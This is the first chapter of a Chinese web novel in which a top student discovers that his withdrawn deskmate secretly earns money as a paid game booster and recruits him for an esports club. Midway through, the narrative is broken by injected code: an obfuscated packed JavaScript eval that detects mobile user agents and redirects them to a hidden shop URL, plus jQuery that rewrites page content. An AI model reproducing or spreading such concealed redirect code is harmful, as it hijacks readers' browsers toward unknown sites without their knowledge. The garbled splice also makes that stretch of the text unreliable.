南城一中的开学日，空气里还残留着暑气的余威。
高二理科分班榜前挤满了人，嗡嗡的议论声像夏末最后的蝉鸣。苏衍站在人群外围，白衬衫的扣子一丝不苟地扣到最上面一颗，脸上挂着那个练习过无数次的微笑——弧度刚好，亲切又不显谦媚。
“苏衍，又是第一！”
“废话，人家可是苏董的儿子，从小学就开始学微积分了。”
“这次分班考也太难了，我数学最后三道大题全空着……”
苏衍的目光掠过榜单最顶端自己的名字，以及后面那个接近满分的数字，轻轻点头回应着同学们的祝贺。他的视线没有停留，而是习惯性地扫过整个榜单，从榜首到榜尾。
然后，他在最后几行停住了。
林默，高二（7）班，总分：317。
这个分数，只比理科班的录取线高出两分。而苏衍记得很清楚，半年前的中考，那个叫林默的男生，是以全市第一的成绩考进南城一中的。
“看，那个就是林默。”旁边有女生小声说。
苏衍顺着目光看去。
走廊尽头的阴影里，一个穿着洗得发白的蓝白校服的男生靠墙站着。他戴着黑色的有线耳机，耳机线从领口垂下来，在胸前轻微晃动。九月的阳光从窗户斜射进来，在他脚边投下一道很瘦很长的影子。
他没有看榜单，也没有看任何人，只是望着窗外那棵老槐树，眼神空得像一口深井。
上课铃响了。
高二（7）班是理科普通班，教室里弥漫着粉笔灰和青春期荷尔蒙混合的味道。苏衍走进教室时，已经有不少目光落在他身上——年级第一分到普通班，这本身就足够成为话题。
“苏衍，这边！”靠窗的位置有人招手。
苏衍微笑着摇头，目光在教室里扫视一圈，最后停在了靠后门的那个角落。
林默已经坐在那里了，靠窗的位置。他正低头整理书包，动作很慢，像是电影里的慢镜头。阳光照在他细密的睫毛上，在脸颊投下一小片阴影。
苏衍走过去，拉开旁边的椅子。
“你好，我是苏衍。”他伸出手，笑容标准得可以印在招生简章上。
林默抬起头。
那是苏衍第一次近距离看清他的脸。很清秀的五官，皮肤是长期不见阳光的苍白，嘴唇没什么血色。最让人在意的是那双眼睛——漆黑，平静，没有任何这个年纪该有的光亮或躁动。
林默的视线在苏衍脸上停留了半秒，然后下移，落在那只伸出的手上。
他没有握。
只是轻轻点了点头，就重新低下头，从书包里拿出数学课本。动作间，耳机线从衣领滑出来，苏衍瞥见那个老旧的国产mp3，屏幕已经碎了，用透明胶带粘着。
“……”苏衍自然地收回手，仿佛刚才什么都没发生，“以后就是同桌了，请多关照。”
没有回应。
第一节课是数学。地中海发型的老教师姓陈，四十出头，说话带着江浙口音。他在黑板上写下三道函数题，敲敲讲台：“开学摸底，十五分钟，我看看你们暑假有没有把脑子玩丢。”
教室里响起一片哀嚎。
苏衍拿起笔，扫了一眼题目。中等偏上难度，第二题需要一点技巧。他余光瞥向旁边。
林默也拿起了笔。
但接下来的十分钟，苏衍完成了三道题，并检查了一遍。而林默的草稿纸上，只画了一个坐标轴，然后停在那里，笔尖悬在原点上方，一动不动。
直到陈老师敲着讲台说“最后五分钟”，林默才动了。
他换了一页新纸，快速写下三道题的答案。苏衍用余光看到，那解题过程简洁得近乎冷酷，没有任何冗余步骤，像是机器打印出来的标准答案。
但十五分钟结束时，林默交上去的，是一张只写了名字的空白答题纸。
陈老师当场就发火了。
“林默！”他把那张白卷拍在讲桌上，“你什么意思？啊？看不起我这堂课还是怎么着？”
全班鸦雀无声。
林默站起来，垂着眼：“不会。”
“不会？我看了你中考的数学卷子！最后一题的第三种解法，连阅卷组都没想到！”陈老师气得眼镜都在抖，“你现在跟我说不会？”
“忘了。”
两个字，轻得像羽毛落地。
教室里有人憋不住笑出声，又赶紧捂住嘴。苏衍看着林默的侧脸，那张脸上没有任何表情，没有羞愧，没有挑衅，甚至没有不耐烦。
就是一种彻底的，无所谓的空白。
陈老师深吸一口气，指着门外：“出去站着。什么时候想起来了，什么时候进来。”
林默沉默地走出教室，靠在走廊的墙上。从苏衍的角度，只能看见他半边侧影，和那根垂在胸前的白色耳机线。
那天下课后，苏衍被叫到了办公室。
陈老师摘下眼镜，揉着眉心：“苏衍，你是个好孩子，老师有件事想拜托你。”
“您说。”
“林默那孩子……”陈老师欲言又止，“他家里出了点事。上学期他父亲公司破产，人受了刺激，现在在疗养院。母亲在超市打三份工。他中考确实是全市第一，但进了高中后，成绩一落千丈。”
苏衍安静地听着。
“我找他谈过几次，他什么都不说。再这样下去，这孩子就毁了。”陈老师看着苏衍，眼神里有种近乎恳求的东西，“你是班长，又是他同桌。能不能……试着帮帮他？至少，让他别再交白卷了。”
苏衍想起那只没有握住的手，和那双空无一物的眼睛。
“我试试。”他说。
傍晚六点，放学铃响了。
苏衍收拾书包时，林默已经不见了。桌上那张数学白卷还摊在那里，姓名栏的“林默”两个字写得工整清秀，和那些空白形成了讽刺的对比。
“苏衍，学生会开会！”门口有同学喊。
“来了。”
苏衍是学生会副主席，分管社团和文体活动。今天的会议主题是秋季社团招新，各社团社长挤在狭小的活动室里，争抢着有限的招新摊位和预算。
“我们篮球社至少要两个摊位！”
“文学社需要展板经费……”
“安静！”学生会主席敲敲桌子，“一个个说。苏衍，你记录一下。”
苏衍打开笔记本，手指在键盘上快速敲击。他的表情专注，不时点头，在合适的时候提出建议或调和矛盾。会议进行了四十分钟，所有社团都得到了相对满意的安排。
除了一个人。
“我们电竞社呢？”角落里，一个短发女生举起手。
活动室安静了一瞬。
“周小雨，电竞社上个学期一共就五个人，还缺席了三次全校活动。”主席推了推眼镜，“按照规定，社团人数不足十人，且活动记录不完整的，这学期要暂停招新资格。”
“但我们马上要参加比赛了！”周小雨站起来，她个子不高，但声音很亮，“全国高中电竞联赛，南城赛区下个月就开始报名。我们至少需要五个正式队员，现在只有四个。”
“那就凑齐再来。”
“招不到新人我怎么凑齐？”
眼看要吵起来，苏衍开口了：“主席，电竞社如果能在比赛中拿到名次，也能为学校加分。不如这样——给他们一个月的时间，如果能凑齐五人队伍并完成一次正式比赛，就保留社团资格。”
周小雨眼睛一亮。
主席想了想，勉强点头：“行。但苏衍，这事你负责跟进。一个月后，人数不够或者没参赛，电竞社就地解散。”
散会后，周小雨在走廊追上苏衍。
“谢了。”她递过来一罐可乐，“要不是你，我们今天就被毙了。”
苏衍接过，没打开：“你们还差什么人？”
“输出位，最好是能打核心的。”周小雨叹了口气，“现在队里都是辅助和坦克，缺个能carry的。但你也知道，好一点的玩家要么去专业战队青训，要么被重点中学挖走了，谁看得上我们这种业余社团。”
“有目标人选吗？”
“有一个。”周小雨眼睛转了转，压低声音，“我听说，我们学校有个隐藏大佬，实力可能够得上职业二线了。”
苏衍挑眉：“谁？”
“不知道。”周小雨耸肩，“只知道游戏ID叫‘影刃’，主玩刺客。有人在学校附近的网吧见过他操作，说强得离谱。但没人知道是哪个年级哪个班的，也没人见过他真人。”
影刃。
苏衍在心里记下了这个名字。
晚上七点半，苏衍坐在自家的书房里。这是一间三十平米朝南的房间，整面墙的书柜，红木书桌，人体工学椅。桌上摆着最新款的笔记本电脑，旁边是父亲昨天从香港带回来的参考书。
窗户开着，晚风吹进来，带着初秋的凉意。
苏衍打开电脑，点开父亲发来的邮件。附件里是常春藤盟校的申请要求，以及一份详细到每一天的备考计划。最后一句话是：“你的每一步，都应该是完美的。”
完美。
苏衍关掉邮件，点开另一个隐藏文件夹。里面是上百张游戏原画设计图——奇幻的城堡，机械与血肉融合的怪物，眼神坚毅的少女骑士。每一张的右下角，都有一个小小的签名：Yan。
他最新的作品是一个刺客角色，黑衣，短刀，戴着一张没有任何表情的白色面具。
画到一半，手机震了。
是母亲发来的消息：“衍衍，妈妈这周要出差，你记得按时吃饭。爸爸晚上有应酬，给你转了五千，想吃什么自己点。”
苏衍回复：“好的，妈妈注意身体。”
发送。
书房里重新安静下来。苏衍看着屏幕上那张未完成的刺客图，手指在数位板上悬停了很久，最终没有落下。
他关掉画图软件，打开数学竞赛的题库。
十点，他做完最后一道题，关上台灯。整个别墅一片漆黑，只有客厅的智能音箱亮着微弱的蓝光，显示着时间：22:07。
苏衍突然想起陈老师的话。
——“他家里出了点事。”
——“母亲在超市打三份工。”
鬼使神差地，他换下家居服，穿上校服外套，拿上手机和钱包，轻轻下了楼。
南城一中的后门有一条小巷，巷子深处有几家老旧的网吧，是学生们偷偷摸摸打游戏的地方。苏衍从没进去过，但听说过。
他站在巷口，犹豫了几秒。
然后，他看见了那个身影。
林默。
他背着那个洗得发白的书包，从一家叫“星空网络”的网吧里走出来。没穿校服外套，只穿着一件简单的白色T恤，在路灯下显得格外单薄。
苏衍下意识地闪身躲到电线杆后。
林默没有往家的方向走，而是拐进了另一条更暗的小路。苏衍跟了上去，保持着二十多米的距离。小巷很窄，堆着一些杂物，路灯坏了三盏，光线明明灭灭。
最后，林默在一栋老式居民楼的单元门前停下。
那是一栋六层的灰白色楼房，墙皮剥落，防盗窗锈迹斑斑。三楼的一扇窗户亮着昏黄的灯，隐约能看见阳台上晾着的校服。
林默在楼下站了一会儿，抬头看着那扇窗。
路灯的光照在他脸上，苏衍看见他闭上了眼睛，很轻地吐出一口气。那个瞬间，林默脸上不再是白天那种空无一物的平静，而是一种浓重的，几乎要将人压垮的疲惫。
然后他转身，重新走进了黑暗里。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437237|200976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
苏衍的心脏像是被什么东西攥了一下。
他继续跟了上去。这次林默走得很快，七弯八拐，最后又回到了“星空网络”网吧的后门。他从书包里掏出一张卡，刷开了侧面的一个小门，闪身进去。
苏衍等了两分钟，也推门走了进去。
网吧里烟雾缭绕，劣质香烟和泡面混合的味道扑面而来。苏衍皱了下眉，目光在昏暗的大厅里搜索。
然后，他在最角落的机器前，看见了林默。
屏幕的光映在他脸上，明明灭灭。他戴着网吧油腻的耳机，背挺得很直，手指在键盘上快速敲击，发出密集而清脆的响声。
苏衍悄悄走到他身后的一根柱子旁。
屏幕上是一场游戏的团战。林默操作的是一名黑衣刺客，在混乱的战场中穿梭。他的操作快得几乎看不清——闪现躲技能，绕后切后排，残血反杀。每一个走位，每一次出手，都精准得像外科手术。
最后，屏幕上跳出“胜利”的图标。
林默松开鼠标，活动了一下手指。苏衍看见他的游戏ID：
影刃。
左下角的聊天框弹出一条消息：“老板，这是最后一单了。钱打到我卡上，今晚通宵，明天可以交单。”
对方回复：“牛逼啊兄弟，这都能翻盘。钱转了，下次有单还找你。”
林默关掉聊天框，点开下一局排队。
苏衍站在原地，感觉喉咙有些发干。他想起白天那张数学白卷，想起陈老师说的“家里出了点事”，想起那扇亮着昏黄灯光的窗户。
然后，他轻轻退出了网吧。
夜风吹在脸上，带着凉意。苏衍站在巷子里，抬头看了看天。城市的光污染让星空变得模糊，只有几颗最亮的星星勉强可见。
他拿出手机，给周小雨发了条消息：
“找到你要的人了。”
第二天，数学课。
陈老师又把昨天的三道题写在了黑板上：“昨天没做出来的，今天继续。做出来的，我这里有进阶题。”
林默依旧坐在靠窗的位置，低头看着课本。阳光照在他细软的发梢，泛着浅棕色的光。
苏衍做完自己的题，撕下半张草稿纸，飞快地写了几行字，推到林默面前。
纸上不是数学题。
而是一个游戏角色的技能连招公式，以及一行小字：
“昨晚那波反杀很漂亮。但如果你在第三秒用W重置普攻，可以快0.5秒。”
林默的身体，几不可察地僵了一下。
他缓缓转过头，第一次，真正意义上地看向苏衍。
那双漆黑的眼睛里，有什么东西碎裂了，又有什么东西在深处缓缓浮现。惊讶，警惕，疑惑，最后都沉没进更深的暗色里。
苏衍迎着他的目光，露出那个练习过无数次的微笑。
但这次，笑容的弧度里，多了一点别的什么。
林默盯着他看了三秒，然后拿起笔，在纸的背面写了两个字，推回来。
“条件？”
苏衍看着那两个字，笔迹锋利，和他的人一样，带着戒备的棱角。
他在下面回复：
“电竞社缺个输出位。假装和我组队一个月，应付社团考核。”
这次林默回复得很快：
“为什么？”
苏衍想了想，写下：
“因为你需要钱。我需要一个不拖累我的队友。”
然后他顿了顿，又加了一句：
“以及，你数学不该只考那点分。”
纸条传回去后，林默很久没有反应。
就在苏衍以为他不会回复时，纸条被推了回来。上面只有两个字，和一个问号：
“多少？”
苏衍写下数字，推过去。
林默看到那个数字时，睫毛颤动了一下。那是他代练半年才能赚到的数目。
他抬起头，看向苏衍。阳光从窗户照进来，在两人之间的课桌上划出一道明暗交界线。苏衍在那双漆黑的眼睛里，看到了某种权衡，某种挣扎，最后，是一种认命般的平静。
林默在纸条上写下最后一个问题，推过来。
字迹有些潦草，像是用了很大的力气：
“你怎么知道我是影刃？”
苏衍看着这个问题，然后抬起眼，对上了林默的视线。
他轻轻笑了笑，用只有两个人能听到的声音说：
“因为你挡技能的习惯，和昨晚那个刺客一模一样。”
“——哪怕在游戏里，你也不希望任何人死在你面前，对吗？”
林默的瞳孔，微微放大了。
窗外，老槐树的叶子在风里轻轻摇晃，投下细碎摇晃的光斑。数学老师在讲台上讲解着函数题，粉笔敲在黑板上，发出笃笃的响声。
在这个普通得不能再普通的秋日早晨，两条原本平行的轨道，就这样，悄无声息地交汇了。
苏衍伸出手，这次没有停在半空，而是直接拿走了林默桌上的那张白卷，放在自己面前。
然后他拿起笔，在白卷的背面，写下一行公式，又轻轻推了回去。
那是昨晚那场游戏中，刺客最难的连招伤害计算公式。
林默看着那行公式，又看看苏衍。
许久，他摘下了一直戴着的右耳耳机，递了过去。
耳机里传来细微的音乐声，是某首老歌的钢琴曲，温柔又孤独。
苏衍接过，戴在右耳。
陈老师转过身时，看见最后一排靠窗的位置，那个永远交白卷的男生，第一次拿起了笔。
而在他旁边，年级第一的苏衍，正望着窗外，嘴角带着一丝真实的，没有练习过的笑意。
阳光很好。
风也温柔。
（第一章完）